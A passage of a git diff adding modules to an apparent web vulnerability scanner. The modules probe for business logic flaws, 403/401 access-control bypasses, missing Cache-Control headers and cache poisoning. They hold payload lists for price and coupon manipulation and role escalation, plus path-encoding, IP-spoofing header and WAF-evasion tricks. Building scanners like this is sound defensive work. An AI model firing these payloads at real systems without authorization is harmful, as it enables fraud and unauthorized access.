return "Low" + + def _cvss_from_weight(self, weight: int, indicators: int, is_js: bool) -> float: + base = 3.0 + weight * 1.2 + if is_js: + base += 1.5 + base += indicators * 0.3 + return round(min(base, 10.0), 1) diff --git a/backend/scanners/business_logic_scanner.py b/backend/scanners/business_logic_scanner.py new file mode 100644 index 0000000000000000000000000000000000000000..66417dd86b9373e5876034122c245eafb85bfb15 --- /dev/null +++ b/backend/scanners/business_logic_scanner.py @@ -0,0 +1,493 @@ +""" +business_logic_scanner.py โ€” Business Logic Vulnerability Scanner +================================================================ +Advanced business logic flaw detection module. + +This scanner: + 1. Tests for coupon abuse and discount manipulation + 2. Detects privilege escalation through business logic + 3. Tests for payment bypass and price manipulation + 4. Checks for workflow bypass vulnerabilities + 5. Tests for parameter tampering in business processes + 6. Detects race conditions in business transactions +""" +import urllib.request, urllib.error, urllib.parse, ssl, re, json +from scanners.base_scanner import BaseScanner +from utils.differential import DifferentialAnalyzer, ParameterMutationTester + +# โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +# Business Logic Test Patterns +# โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +BUSINESS_LOGIC_ENDPOINTS = [ + "/api/cart", + "/api/checkout", + "/api/purchase", + "/api/order", + "/api/payment", + "/api/coupon", + "/api/discount", + "/api/redeem", + "/api/transfer", + "/api/withdraw", + "/api/deposit", + "/api/vote", + "/api/like", + "/api/follow", + "/api/subscribe", + "/api/unsubscribe", +] + +# Price manipulation payloads +PRICE_MANIPULATION_PAYLOADS = [ + {"price": "-100"}, + {"price": "0"}, + {"price": "0.01"}, + {"price": "999999"}, + {"amount": "-100"}, + {"amount": "0"}, + {"discount": "100"}, + {"discount": "999"}, +] + +# Coupon abuse payloads +COUPON_PAYLOADS = [ + {"coupon": "TEST123"}, + {"coupon": "ADMIN"}, + {"coupon": "FREE"}, + {"coupon": "100OFF"}, + {"coupon": "UNLIMITED"}, + {"coupon_code": "TEST123"}, + {"promo_code": "FREE"}, +] + +# Quantity manipulation payloads +QUANTITY_PAYLOADS = [ + {"quantity": "-1"}, + {"quantity": "0"}, + {"quantity": "999999"}, + {"qty": "-1"}, + {"qty": "0"}, + {"qty": "999999"}, +] + +# โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +# Scanner Implementation +# โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +class BusinessLogicScanner(BaseScanner): + SCANNER_NAME = "Business Logic Vulnerability Scanner" + + def __init__(self, scan_id, target, domain, **kwargs): + super().__init__(scan_id, target, domain, **kwargs) + self._ctx = ssl.create_default_context() + self._ctx.check_hostname = False + self._ctx.verify_mode = ssl.CERT_NONE + self._headers = {"User-Agent": "LarShield/2.0 Business Logic Scanner"} + if self.auth_headers: + self._headers.update(self.auth_headers) + + self._tested_endpoints = 0 + self._vulns_found = 0 + self._differential = DifferentialAnalyzer() + self._mutation_tester = ParameterMutationTester(self._bl_mutation_req) + + def _bl_mutation_req(self, url, params): + data = urllib.parse.urlencode(params).encode("utf-8") + body, status = self._make_request(url, method="POST", data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=8) + return body or "", status + + def _get(self, url, timeout=8): + try: + req = urllib.request.Request(url, headers=self._headers) + with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp: + return resp.read(131072).decode("utf-8", errors="ignore"), resp.status + except urllib.error.HTTPError as e: + body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else "" + return body, e.code + except Exception as e: + self.log("ERROR", f"[BusinessLogic] _get error: {e}") + return "", 0 + + def _post(self, url, data, timeout=8): + try: + encoded = urllib.parse.urlencode(data).encode("utf-8") + req = urllib.request.Request(url, data=encoded, headers={ + **self._headers, + "Content-Type": "application/x-www-form-urlencoded" + }) + with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp: + return resp.read(131072).decode("utf-8", errors="ignore"), resp.status + except urllib.error.HTTPError as e: + body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else "" + return body, e.code + except Exception as e: + self.log("ERROR", f"[BusinessLogic] _post error: {e}") + return "", 0 + + def _test_price_manipulation(self, url): + """Test for price manipulation vulnerabilities.""" + self.log("INFO", f"[Business Logic] Testing price manipulation on {url}") + + # GAP-ADV: Concurrent execution + reqs = [{ + "url": url, "method": "POST", + "data": urllib.parse.urlencode(payload).encode("utf-8"), + "headers": {"Content-Type": "application/x-www-form-urlencoded"}, + "payload": payload + } for payload in PRICE_MANIPULATION_PAYLOADS] + + results = self._make_async_requests(reqs) + + for req_dict, body, status in results: + if not body: continue + payload = req_dict["payload"] + + # Check if manipulation was successful + if status in [200, 201, 202] and any( + indicator in body.lower() + for indicator in ["success", "completed", "order confirmed", "payment successful"] + ): + self._vulns_found += 1 + self.log("CRITICAL", + f"[Business Logic] Price manipulation successful! Payload: {payload}") + + self.add_vuln( + title="Business Logic โ€” Price Manipulation", + severity="Critical", + category="Business Logic", + cvss_score=9.8, + description=( + f"A price manipulation vulnerability was detected at {url}.\n" + f"Payload: {payload}\n" + "The application accepts manipulated prices without validation, " + "allowing attackers to purchase items for free or at reduced prices." + ), + remediation=( + "1. NEVER accept prices from client-side requests\n" + "2. Store prices server-side and reference by ID\n" + "3. Validate all monetary values on the server\n" + "4. Implement server-side price calculation\n" + "5. Add transaction monitoring for unusual pricing\n" + "6. Use payment gateway validation" + ) + ) + return True + return False + + def _test_coupon_abuse(self, url): + """Test for coupon abuse vulnerabilities.""" + self.log("INFO", f"[Business Logic] Testing coupon abuse on {url}") + + reqs = [{ + "url": url, "method": "POST", + "data": urllib.parse.urlencode(payload).encode("utf-8"), + "headers": {"Content-Type": "application/x-www-form-urlencoded"}, + "payload": payload + } for payload in COUPON_PAYLOADS] + + results = self._make_async_requests(reqs) + + for req_dict, body, status in results: + if not body: continue + payload = req_dict["payload"] + + # Check if coupon was accepted + if status in [200, 201] and any( + indicator in body.lower() + for indicator in ["discount applied", "coupon valid", "promo accepted", "success"] + ): + self._vulns_found += 1 + self.log("WARNING", + f"[Business Logic] Coupon abuse possible! Payload: {payload}") + + self.add_vuln( + title="Business Logic โ€” Coupon Abuse", + severity="High", + category="Business Logic", + cvss_score=8.5, + description=( + f"A coupon abuse vulnerability was detected at {url}.\n" + f"Payload: {payload}\n" + "The application accepts invalid or guessable coupon codes, " + "allowing unauthorized discounts." + ), + remediation=( + "1. Implement one-time-use coupon codes\n" + "2. Use cryptographically secure coupon generation\n" + "3. Validate coupon ownership and usage limits\n" + "4. Monitor coupon usage patterns\n" + "5. Implement rate limiting on coupon attempts" + ) + ) + return True + return False + + def _test_quantity_manipulation(self, url): + """Test for quantity manipulation vulnerabilities.""" + self.log("INFO", f"[Business Logic] Testing quantity manipulation on {url}") + + reqs = [{ + "url": url, "method": "POST", + "data": urllib.parse.urlencode(payload).encode("utf-8"), + "headers": {"Content-Type": "application/x-www-form-urlencoded"}, + "payload": payload + } for payload in QUANTITY_PAYLOADS] + + results = self._make_async_requests(reqs) + + for req_dict, body, status in results: + if not body: continue + payload = req_dict["payload"] + + # Check if manipulation was successful + if status in [200, 201] and any( + indicator in body.lower() + for indicator in ["success", "added", "updated", "confirmed"] + ): + self._vulns_found += 1 + self.log("WARNING", + f"[Business Logic] Quantity manipulation possible! Payload: {payload}") + + self.add_vuln( + title="Business Logic โ€” Quantity Manipulation", + severity="High", + category="Business Logic", + cvss_score=7.5, + description=( + f"A quantity manipulation vulnerability was detected at {url}.\n" + f"Payload: {payload}\n" + "The application accepts invalid quantities without validation." + ), + remediation=( + "1. Validate quantity ranges on the server\n" + "2. Implement minimum and maximum quantity limits\n" + "3. Check inventory levels before processing\n" + "4. Add server-side quantity validation\n" + "5. Monitor for unusual quantity patterns" + ) + ) + return True + return False + + def _test_privilege_escalation(self, url): + """Test for privilege escalation through business logic.""" + self.log("INFO", f"[Business Logic] Testing privilege escalation on {url}") + + escalation_payloads = [ + {"role": "admin"}, + {"role": "administrator"}, + {"role": "superuser"}, + {"is_admin": "true"}, + {"is_admin": "1"}, + {"admin": "true"}, + {"permissions": "all"}, + {"access_level": "admin"}, + ] + + reqs = [{ + "url": url, "method": "POST", + "data": urllib.parse.urlencode(payload).encode("utf-8"), + "headers": {"Content-Type": "application/x-www-form-urlencoded"}, + "payload": payload + } for payload in escalation_payloads] + + results = self._make_async_requests(reqs) + + for req_dict, body, status in results: + if not body: continue + payload = req_dict["payload"] + + # Check if escalation was successful + if status in [200, 201] and any( + indicator in body.lower() + for indicator in ["admin", "administrator", "success", "updated"] + ): + self._vulns_found += 1 + self.log("CRITICAL", + f"[Business Logic] Privilege escalation possible! Payload: {payload}") + + self.add_vuln( + title="Business Logic โ€” Privilege Escalation", + severity="Critical", + category="Business Logic", + cvss_score=9.8, + description=( + f"A privilege escalation vulnerability was detected at {url}.\n" + f"Payload: {payload}\n" + "The application allows privilege escalation through parameter manipulation." + ), + remediation=( + "1. Never accept role/permission parameters from client\n" + "2. Store user roles server-side\n" + "3. Implement proper role-based access control\n" + "4. Validate all privilege changes\n" + "5. Use immutable session tokens\n" + "6. Audit privilege changes" + ) + ) + return True + return False + + def _test_mutation_workflow(self, url): + self.log("INFO", f"[Business Logic] Testing parameter mutations on {url}") + base_params = {"id": "1", "action": "test", "status": "pending"} + mutations = [ + {"name": "negative_quantity", "params": {"quantity": "-1"}}, + {"name": "zero_price", "params": {"price": "0"}}, + {"name": "negative_price", "params": {"price": "-100"}}, + {"name": "overflow_amount", "params": {"amount": "999999999999"}}, + {"name": "admin_role", "params": {"role": "admin"}}, + {"name": "bypass_skip", "params": {"skip": "true"}}, + {"name": "bypass_step", "params": {"step": "complete"}}, + {"name": "bulk_discount", "params": {"discount": "100"}}, + ] + results = self._mutation_tester.test(url, base_params, mutations) + for res in results: + if res.get("anomalous"): + self._vulns_found += 1 + self.log("WARNING", f"[Business Logic] Anomalous mutation: {res['mutation']} status={res['status']} diff={res['length_diff_pct']}%") + self.add_vuln( + title=f"Business Logic โ€” Anomalous Parameter Mutation ({res['mutation']})", + severity="High", + category="Business Logic", + cvss_score=7.5, + description=( + f"Parameter mutation '{res['mutation']}' at {url} " + f"produced an anomalous response (status: {res['status']}, " + f"length difference: {res['length_diff_pct']}%). " + "This may indicate a business logic vulnerability." + ), + remediation="Validate all input parameters server-side. Implement proper state machines for workflows. " + "Ensure negative values, zero values, and role parameters are rejected.", + cwe_ids=["CWE-840"], + owasp_category="A01:2021 โ€“ Broken Access Control", + ) + + def _test_workflow_bypass(self, url): + """Test for workflow bypass vulnerabilities.""" + self.log("INFO", f"[Business Logic] Testing workflow bypass on {url}") + + bypass_payloads = [ + {"step": "complete"}, + {"skip": "true"}, + {"bypass": "true"}, + {"status": "completed"}, + {"approved": "true"}, + {"verified": "true"}, + ] + + reqs = [{ + "url": url, "method": "POST", + "data": urllib.parse.urlencode(payload).encode("utf-8"), + "headers": {"Content-Type": "application/x-www-form-urlencoded"}, + "payload": payload + } for payload in bypass_payloads] + + results = self._make_async_requests(reqs) + + for req_dict, body, status in results: + if not body: continue + payload = req_dict["payload"] + + # Check if bypass was successful + if status in [200, 201] and any( + indicator in body.lower() + for indicator in ["success", "completed", "approved", "verified"] + ): + self._vulns_found += 1 + self.log("WARNING", + f"[Business Logic] Workflow bypass possible! Payload: {payload}") + + self.add_vuln( + title="Business Logic โ€” Workflow Bypass", + severity="High", + category="Business Logic", + cvss_score=8.0, + description=( + f"A workflow bypass vulnerability was detected at {url}.\n" + f"Payload: {payload}\n" + "The application allows skipping workflow steps through parameter manipulation." + ), + remediation=( + "1. Implement server-side workflow validation\n" + "2. Store workflow state server-side\n" + "3. Validate each step before allowing progression\n" + "4. Use state machines for complex workflows\n" + "5. Audit workflow transitions" + ) + ) + return True + return False + + def _discover_business_logic_endpoints(self): + """Discover endpoints with business logic vulnerabilities using shared context.""" + endpoints = [] + + try: + # GAP-ADV: Centralized context replaces redundant crawling + results = self.discovery_context or {} + + # Check URLs for business logic patterns + for url_entry in results.get("urls", []): + url = url_entry.get("url") if isinstance(url_entry, dict) else url_entry + for pattern in BUSINESS_LOGIC_ENDPOINTS: + if pattern in url.lower(): + endpoints.append(url) + break + + # Check forms for business logic fields + for form in results.get("forms", []): + action = form.get("action", "") + inputs = form.get("inputs", []) + + # Check for business-related input names + for inp in inputs: + input_name = inp.get("name", "").lower() + if any(x in input_name for x in ["price", "amount", "quantity", "coupon", "discount", "role"]): + endpoints.append(action) + break + + except Exception as e: + self.log("WARNING", f"[Business Logic] Error processing endpoints from context: {str(e)}") + + return list(set(endpoints)) + + def run(self): + self.log("INFO", f"[Business Logic] Starting business logic vulnerability scanning on {self.target}...") + + try: + # Step 1: Discover business logic endpoints + self.log("INFO", "[Business Logic] Discovering business logic endpoints...") + endpoints = self._discover_business_logic_endpoints() + self.log("INFO", f"[Business Logic] Found {len(endpoints)} business logic endpoint(s)") + + if not endpoints: + self.log("INFO", "[Business Logic] No business logic endpoints detected") + return self.vulns + + # Step 2: Test each endpoint + for url in endpoints[:15]: # Limit to 15 endpoints + self._tested_endpoints += 1 + self.log("INFO", f"[Business Logic] Testing endpoint: {url}") + + # Determine test type based on URL + if any(x in url.lower() for x in ["checkout", "purchase", "payment", "order"]): + self._test_price_manipulation(url) + elif any(x in url.lower() for x in ["coupon", "discount", "promo"]): + self._test_coupon_abuse(url) + elif any(x in url.lower() for x in ["cart", "quantity", "qty"]): + self._test_quantity_manipulation(url) + elif any(x in url.lower() for x in ["role", "admin", "user"]): + self._test_privilege_escalation(url) + else: + self._test_workflow_bypass(url) + + self._test_mutation_workflow(url) + + except Exception as e: + self.log("WARNING", f"[Business Logic] Unexpected error during scan: {str(e)}") + + # Summary + self.log("SUCCESS" if not self.vulns else "WARNING", + f"[Business Logic] Complete โ€” {self._tested_endpoints} endpoint(s) tested | " + f"{self._vulns_found} business logic vulnerability/vulnerabilities found") + return self.vulns diff --git a/backend/scanners/bypass_403_scanner.py b/backend/scanners/bypass_403_scanner.py new file mode 100644 index 0000000000000000000000000000000000000000..8362cae7d6c3bf004514f8a960c0f0b383d931b6 --- /dev/null +++ b/backend/scanners/bypass_403_scanner.py @@ -0,0 +1,156 @@ +""" +bypass_403_scanner.py โ€” 403/401 Bypass Scanner +================================================ +Attempts to bypass access-denied responses using URL encoding tricks, +path normalization, header manipulation, and method switching. +""" +import urllib.parse +from scanners.base_scanner import BaseScanner +from utils.evasion import waf_evade +from utils.callback import build_callback_url + +PROTECTED_PATHS = [ + "/admin", "/admin/", "/dashboard", "/config", "/secret", + "/api/admin", "/internal", "/private", "/backup", + "/management", "/.env", "/server-status", +] + + +class Bypass403Scanner(BaseScanner): + SCANNER_NAME = "403/401 Bypass Scanner" + _SCANNER_KEY = "bypass_403" + + def __init__(self, scan_id, target, domain, **kwargs): + super().__init__(scan_id, target, domain, **kwargs) + + def run(self) -> list: + self.log("INFO", f"[403Bypass] Testing access control bypass techniques on {self.target}...") + base = self.target.rstrip("/") + + for path in PROTECTED_PATHS: + baseline_status = self._get_status(base + path) + if baseline_status not in (401, 403): + continue + + self.log("INFO", f"[403Bypass] Found protected path: {path} (HTTP {baseline_status})") + self._try_bypasses(base, path, baseline_status) + + if not self.vulns: + self.log("SUCCESS", "[403Bypass] No 403/401 bypass vectors found.") + return self.vulns + + def _try_bypasses(self, base, path, original_status): + bypasses = [] + + path_variants = [ + path + "/", + path + "/.", + "/" + path.lstrip("/").replace("/", "//"), + path.replace("/", "/%2f"), + path.replace("/", "/./"), + "/." + path, + path + "%20", + path + "%09", + path + "..;/", + path + "/*", + path + "?.js", + path + ".json", + path + "/%2e/", + path.upper(), + path.lower().replace("/admin", "/Admin"), + path.replace("/", "/%2f/"), + path + "?x=1", + path + "#", + "/.." + path, + "/%2e%2e" + path, + path + "/..", + "/%23" + path, + "/%00" + path, + path.replace("/", "/%00/"), + path + ".html", + path + "/%20", + path + ";/", + path + "%252f", + "//" + path.lstrip("/"), + "/" + path.lstrip("/").replace("/", "/%20/"), + path.replace("/", "/%09/"), + ] + for variant in path_variants: + s = self._get_status(base + variant) + if s not in (401, 403, 404, 0): + bypasses.append({"method": f"Path variant: `{variant}`", "status": s}) + for enc_name, enc_val in waf_evade(variant): + s2 = self._get_status(base + enc_val) + if s2 not in (401, 403, 404, 0): + bypasses.append({"method": f"Path variant (WAF evade): `{enc_val}`", "status": s2}) + + callback_url = build_callback_url("/403-bypass") + header_tricks = [ + {"X-Original-URL": path}, + {"X-Rewrite-URL": path}, + {"X-Custom-IP-Authorization": "127.0.0.1"}, + {"X-Forwarded-For": "127.0.0.1"}, + {"X-Remote-IP": "127.0.0.1"}, + {"X-Remote-Addr": "127.0.0.1"}, + {"X-ProxyUser-Ip": "127.0.0.1"}, + {"Client-IP": "127.0.0.1"}, + {"X-Originating-IP": "127.0.0.1"}, + {"X-Forwarded-For": "localhost"}, + {"X-Real-IP": "127.0.0.1"}, + {"X-Forwarded-Host": "localhost"}, + {"X-Original-URL": path, "X-Forwarded-For": "127.0.0.1"}, + {"X-Rewrite-URL": path, "X-Forwarded-For": "127.0.0.1"}, + {"X-Forwarded-For": callback_url}, + {"X-Forwarded-For": "127.0.0.1, 10.0.0.1"}, + {"X-Forwarded-For": "2130706433"}, + {"X-Forwarded-For": "0x7f000001"}, + {"X-Original-URL": path, "X-Forwarded-For": "10.0.0.1"}, + {"X-Rewrite-URL": path, "X-Forwarded-Host": "localhost"}, + {"X-HTTP-Method-Override": "GET"}, + {"X-HTTP-Method": "GET"}, + {"X-Method-Override": "GET"}, + ] + for hdrs in header_tricks: + s = self._get_status(base + "/", extra_headers=hdrs) + if s not in (401, 403, 404, 0): + header_key = list(hdrs.keys())[0] + header_val = list(hdrs.values())[0] + bypasses.append({"method": f"Header: `{header_key}: {header_val}`", "status": s}) + for header_name in hdrs: + for enc_name, enc_val in waf_evade(header_name): + waf_hdrs = {enc_val: hdrs[header_name]} + s2 = self._get_status(base + "/", extra_headers=waf_hdrs) + if s2 not in (401, 403, 404, 0): + bypasses.append({"method": f"Header (WAF evade): `{enc_val}: {hdrs[header_name]}`", "status": s2}) + + for method in ["POST", "HEAD", "OPTIONS", "PUT", "DELETE", "PATCH", "TRACE", "CONNECT", "PROPFIND", "MOVE", "COPY", "MKCOL"]: + s = self._get_status(base + path, method=method) + if s not in (401, 403, 404, 0): + bypasses.append({"method": f"HTTP method: `{method}`", "status": s}) + + if bypasses: + self.add_vuln( + title=f"403/401 Access Control Bypass on `{path}`", + severity="High", + category="Access Control Bypass", + cvss_score=7.5, + description=f"Path `{path}` returned HTTP {original_status} normally, but the " + f"following techniques bypassed the restriction:\n\n" + + "\n".join(f"- {b['method']} โ†’ HTTP **{b['status']}**" for b in bypasses[:20]), + remediation="1. Implement access control at the application layer, not just the URL.\n" + "2. Normalize URLs before access control checks (strip ../, %2f, trailing dots).\n" + "3. Reject X-Original-URL and X-Rewrite-URL headers at the reverse proxy.\n" + "4. Never trust X-Forwarded-For or Client-IP for authorization decisions.", + evidence="\n".join(f"{b['method']} โ†’ {b['status']}" for b in bypasses[:20]), + confidence="High", + cwe_ids=["CWE-290"], + owasp_category="A01:2021 โ€“ Broken Access Control", + ) + self.log("CRITICAL", f"[403Bypass] {len(bypasses)} bypass(es) found for {path}!") + + def _get_status(self, url, method="GET", extra_headers=None): + headers = {} + if extra_headers: + headers.update(extra_headers) + body, status = self._make_request(url, method=method, headers=headers if headers else None) + return status diff --git a/backend/scanners/cache_control_scanner.py b/backend/scanners/cache_control_scanner.py new file mode 100644 index 0000000000000000000000000000000000000000..c64706cc123ca63b7cdc929e807c704036a5057f --- /dev/null +++ b/backend/scanners/cache_control_scanner.py @@ -0,0 +1,69 @@ +""" +cache_control_scanner.py โ€” Browser Cache Control Scanner +""" +import urllib.request, urllib.error +from scanners.base_scanner import BaseScanner + +SENSITIVE_PATHS = [ + "/account", "/profile", "/dashboard", "/settings", "/api/me", + "/api/user", "/admin", "/invoices", "/billing", "/orders", + "/payment", "/statements", "/reports", +] + +class CacheControlScanner(BaseScanner): + SCANNER_NAME = "Browser Cache Control Scanner" + _SCANNER_KEY = "cache_control" + def __init__(self, scan_id, target, domain, **kwargs): + super().__init__(scan_id, target, domain, **kwargs) + + def run(self) -> list: + self.log("INFO", f"[CacheControl] Checking Cache-Control headers on sensitive pages of {self.target}...") + base = self.target.rstrip("/") + risky = [] + + # Check main page + for path in [""] + SENSITIVE_PATHS: + url = base + path if path else base + headers, status = self._get_headers(url) + if status not in (200, 302): continue + cc = headers.get("cache-control", "").lower() + pragma = headers.get("pragma", "").lower() + ct = headers.get("content-type", "").lower() + # Skip non-HTML/JSON (images, CSS, etc.) + if any(t in ct for t in ("image/", "text/css", "font/", "javascript")): continue + # Vulnerable if no-store is absent + if "no-store" not in cc: + risky.append({ + "url": url, "cache-control": cc or "(missing)", + "pragma": pragma or "(missing)", "status": status + }) + + if risky: + self.add_vuln( + title=f"Sensitive Pages Cacheable by Browser ({len(risky)} pages)", + severity="Medium", + category="Information Disclosure", + cvss_score=5.3, + description="The following authenticated/sensitive pages lack `Cache-Control: no-store`, " + "allowing browsers and shared proxies to cache the responses. On shared/public devices, " + "a subsequent user can press Back or access the browser cache to retrieve private data:\n\n" + + "\n".join(f"- `{r['url']}` โ€” Cache-Control: `{r['cache-control']}`" for r in risky[:8]), + remediation="Add to all authenticated responses:\n" + "`Cache-Control: no-store, no-cache, must-revalidate, max-age=0`\n" + "`Pragma: no-cache`\n" + "`Expires: 0`", + ) + else: + self.log("SUCCESS", "[CacheControl] All sensitive pages properly set Cache-Control: no-store.") + return self.vulns + + def _get_headers(self, url): + try: + req = urllib.request.Request(url, headers=self._make_headers()) + with urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context()) as r: + return {k.lower(): v for k, v in r.headers.items()}, r.status + except urllib.error.HTTPError as e: + return {k.lower(): v for k, v in e.headers.items()}, e.code + except Exception as e: + self.log("ERROR", f"[CacheControl] _get_headers error: {e}") + return {}, 0 diff --git a/backend/scanners/cache_poisoning_scanner.py b/backend/scanners/cache_poisoning_scanner.py new file mode 100644 index 0000000000000000000000000000000000000000..9937a7634e0fde35492dbd6fb1ebb695cb5c2010 --- /dev/null +++ b/backend/scanners/cache_poisoning_scanner.py @@ -0,0 +1,194 @@ +""" +cache_poisoning_scanner.py โ€” Web Cache Poisoning Scanner +========================================================= +Tests whether unkeyed HTTP headers (X-Forwarded-Host, X-Original-URL, +X-Rewrite-URL) are reflected in the response, enabling CDN/reverse-proxy +cache poisoning. +""" +import urllib.parse, time +from scanners.base_scanner import BaseScanner +from utils.anomaly import TimingAnomalyDetector +from utils.callback import build_callback_url + +UNKEYED_HEADERS = [ + ("X-Forwarded-Host", "wss-cache-poison-test.evil"), + ("X-Original-URL", "/wss-cache-poison-probe"), + ("X-Rewrite-URL", "/wss-cache-poison-probe"), + ("X-Forwarded-Scheme", "nothttps"), + ("X-Forwarded-Proto", "nothttps"), + ("X-Host", "wss-cache-poison-test.evil"), +] + + +class CachePoisoningScanner(BaseScanner): + SCANNER_NAME = "Web Cache Poisoning Scanner" + _SCANNER_KEY = "cache_poisoning" + + def __init__(self, scan_id, target, domain, **kwargs): + super().__init__(scan_id, target, domain, **kwargs) + self._timing = TimingAnomalyDetector() + + def run(self) -> list: + self.log("INFO", f"[CachePoison] Testing cache poisoning via unkeyed headers on {self.target}...") + + cwe = ["CWE-644"] + owasp = "A04:2021 โ€“ Insecure Design" + self._cwe = cwe + self._owasp = owasp + + for header_name, header_val in UNKEYED_HEADERS: + self._test_unkeyed_header(header_name, header_val) + + self._test_callback_header() + self._test_cache_key_confusion() + self._test_web_cache_deception() + + if not self.vulns: + self.log("SUCCESS", "[CachePoison] No cache poisoning vectors detected.") + return self.vulns + + def _test_unkeyed_header(self, header_name, header_val): + body, status, resp_headers = self._make_request( + self.target, + headers={"User-Agent": "LarShield/2.0", header_name: header_val}, + return_response_obj=True, + ) + + if body is None: + self.log("ERROR", f"[CachePoison] Request failed for header {header_name}") + return + + reflected_in_body = header_val in body + reflected_in_headers = any(header_val in v for v in resp_headers.values()) + + if reflected_in_body or reflected_in_headers: + location = "response body" if reflected_in_body else "response headers" + self.add_vuln( + title=f"Cache Poisoning via Unkeyed Header: {header_name}", + severity="High", + category="Cache Poisoning", + cvss_score=7.4, + description=f"Injecting `{header_name}: {header_val}` caused the value to be " + f"reflected in the {location}. If the CDN/reverse proxy caches this response " + f"without keying on `{header_name}`, all subsequent users will receive the " + f"poisoned response, enabling XSS or phishing at scale.", + remediation=f"1. Configure the cache to vary on `{header_name}` or strip it.\n" + f"2. The application should not reflect `{header_name}` in output.\n" + f"3. Use Cache-Control: private, no-store for sensitive pages.\n" + f"4. Test with: `curl -H '{header_name}: evil' {self.target}`", + evidence=f"Value '{header_val}' reflected in {location}", + payload=f"{header_name}: {header_val}", + request_details=f"GET with {header_name}: {header_val}", + response_details=f"Reflected in {location}", + confidence="Confirmed", + cwe_ids=self._cwe, + owasp_category=self._owasp, + ) + self.log("WARNING", f"[CachePoison] Reflected {header_name} in {location}!") + else: + self.log("SUCCESS", f"[CachePoison] {header_name}: Not reflected") + + def _test_cache_key_confusion(self): + self.log("INFO", "[CachePoison] Testing cache key confusion...") + try: + probe_val = "wss-cache-confusion-probe" + body, status, resp_headers = self._make_request( + self.target, + headers={ + "User-Agent": "LarShield/2.0", + "X-Forwarded-Host": probe_val, + "X-Host": probe_val, + }, + return_response_obj=True, + ) + if body and probe_val in body: + self.add_vuln( + title="Cache Key Confusion โ€” Multiple Unkeyed Headers", + severity="High", + category="Cache Poisoning", + cvss_score=7.0, + description="Multiple unkeyed headers (X-Forwarded-Host and X-Host) were sent together and their value was reflected. An attacker can exploit cache key confusion by injecting different values that get merged into the cached response.", + remediation="Normalize or strip all unkeyed headers at the reverse proxy before they reach the application.", + evidence=f"Probe value '{probe_val}' reflected in body", + payload=f"X-Forwarded-Host: {probe_val}, X-Host: {probe_val}", + request_details="GET with multiple conflicting host headers", + response_details=f"Reflected probe in body", + confidence="High", + cwe_ids=self._cwe, + owasp_category=self._owasp, + ) + except Exception as e: + self.log("ERROR", f"[CachePoison] Cache key confusion test error: {e}") + + def _test_callback_header(self): + self.log("INFO", "[CachePoison] Testing callback-based cache poisoning...") + callback_url = build_callback_url("/cache-poison") + for header_name in ["X-Forwarded-Host", "X-Host", "X-Original-URL"]: + body, status, resp_headers = self._make_request( + self.target, + headers={header_name: callback_url}, + return_response_obj=True, + ) + if body and callback_url in body: + self.add_vuln( + title=f"Cache Poisoning via Callback URL in {header_name}", + severity="Critical", + category="Cache Poisoning", + cvss_score=8.6, + description=f"Injecting a callback URL in `{header_name}` was reflected in the response. " + "This confirms the header is unkeyed and can be used for blind cache poisoning " + "with out-of-band detection.", + remediation=f"Strip or key `{header_name}`. Validate header values at the proxy.", + evidence=f"Callback URL '{callback_url}' reflected in body", + payload=f"{header_name}: {callback_url}", + request_details=f"GET with {header_name}: {callback_url}", + response_details="Callback URL reflected in body", + confidence="Confirmed", + cwe_ids=self._cwe, + owasp_category=self._owasp, + ) + self.log("WARNING", f"[CachePoison] Callback reflected via {header_name}!") + + def _test_web_cache_deception(self): + self.log("INFO", "[CachePoison] Testing web cache deception...") + try: + parsed = urllib.parse.urlparse(self.target) + deception_path = parsed.path.rstrip("/") + "/nonexistent.css" + test_url = parsed._replace(path=deception_path).geturl() + + t0 = time.monotonic() + body, status, resp_headers = self._make_request( + test_url, return_response_obj=True, + ) + elapsed = time.monotonic() - t0 + self._timing.record_timing(f"deception_{test_url}", elapsed) + + if body and status == 200 and "text/css" not in str(resp_headers.get("Content-Type", "")): + cache_ctl = str(resp_headers.get("Cache-Control", "")) + if "public" in cache_ctl or ("max-age" in cache_ctl and int(resp_headers.get("Content-Length", "0") or "0") > 100): + 